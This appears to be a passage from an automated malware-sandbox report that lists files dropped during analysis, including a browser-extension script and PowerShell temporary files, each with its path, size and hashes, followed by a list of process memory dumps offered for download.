Size 2KB
SHA256 a9eda21086a7b64eba1158f62eea25b9e78a51293b6e52d3aa7d9a3f8cea7b37
MD5 34216d7ae0ca3c4df60e9ea55ec8a384
SHA1 067f8e363a6d1b1264c4db63bc8c2582d40ec079
SHA512 198e326cc6875f5d93599e183028b7b2a38a78174ab89792fca0d2f9794f9c8ddac3ef0b9f6f93c499b6eac78ea95ef8fd7f0b7c2262f55643d26f85e2cf49a7
TLSH
T1D64130D15C7D1AC1C4BD0E7FA4C738FC81E8DB2AF1A035796894EA840A7DA2D648443F
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 110e66f981a6774f62db222491beac6c557e702eb9a1c1520d9ae4db5c10f198
MD5 bd5d4a0eff570ad9817fbb561d84c411
SHA1 f758029fa3f6c92020eb382cf34e78ec3e7eb472
SHA512 3de9a69313e5176a2dcbac652c9f6f887436c4fa9e35e2e8f83f360e9e7aee91035be2b86193a86cde2fab38d661682df59fdd35ec10811a2fecb2f4523d071e
TLSH
T175410B58A6FA1158B3B76E4A9BF6A86D487FB9772F47D49E00010E4F0663B40CC62737
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 54KB
SHA256 966105159d1860c33147fe0c6e2bd61b3d6c92c3685767dfe05259d285aa1646
MD5 398f0e65f10696b018d4dbf201851e5f
SHA1 223fa52643a1dc636e9bc44c4c939f19f92608e7
SHA512 cbfd82d81f3236d8f6c1f8d62e5981383207ca4fda5e193125a8c8d33b9053392613a9511d2cddbb0497b8c4cb8d417e3e2dd8b1bf70b1ba4e8023dc6d62330f
SSDEEP 1536:vUs5NhfkR+jH0Mv35iFHzdyyhl3OihN9flJdFhETYo8UpRLa5Ei3j39MVvjpeKLe:vUs5NhfkR+jH0Mv3gFHzdfhEihN9flJ3
TLSH
T127433F93E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FBBE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 787628c3dd129679416857bcb63c52f8477a02cfeadfe0d4d5d98eb7902c61d8
MD5 40588a42cb8549ecc094e7d45f28c74c
SHA1 65d5d1f79fe82009c3c4c6d2c7ce874939926b8b
SHA512 e77dd348027e9df604520e228061f2e9c3d87ad695567c81dd95976eaba7df580eb565bff8b485558a0561bdd0de6ac202ead1965f6c23f746e5542ff9bea3c6
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_3ekyscgg.l42.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ekyscgg.l42.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

c1edf24a-edf1-4e48-b997-01118656a4bf.tmp

Path C:\Users\Admin\AppData\Local\Temp\c1edf24a-edf1-4e48-b997-01118656a4bf.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3812_731830470\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1052-438-0x0000018AF8930000-0x0000018AF8974000-memory.dmp

Download

memory/1052-437-0x0000018AF8510000-0x0000018AF8532000-memory.dmp

Download

memory/1052-439-0x0000018AF8A00000-0x0000018AF8A76000-memory.dmp

Download

memory/1240-1109-0x000002D7922E0000-0x000002D7932E0000-memory.dmp

Download

memory/2500-478-0x000001C148710000-0x000001C148734000-memory.dmp

Download

memory/2500-477-0x000001C148710000-0x000001C14873A000-memory.dmp

Download

memory/2500-479-0x000001C148740000-0x000001C148790000-memory.dmp

Download

memory/2500-490-0x000001C148710000-0x000001C14871A000-memory.dmp

Download

memory/2500-476-0x000001C148E70000-0x000001C149032000-memory.dmp

Download

memory/2840-393-0x0000024B65EE0000-0x0000024B66EE0000-memory.dmp

Download

memory/4704-1085-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1084-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1083-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1082-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1080-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1079-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1081-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1073-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1075-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download

memory/4704-1074-0x000002DB0C520000-0x000002DB0C521000-memory.dmp

Download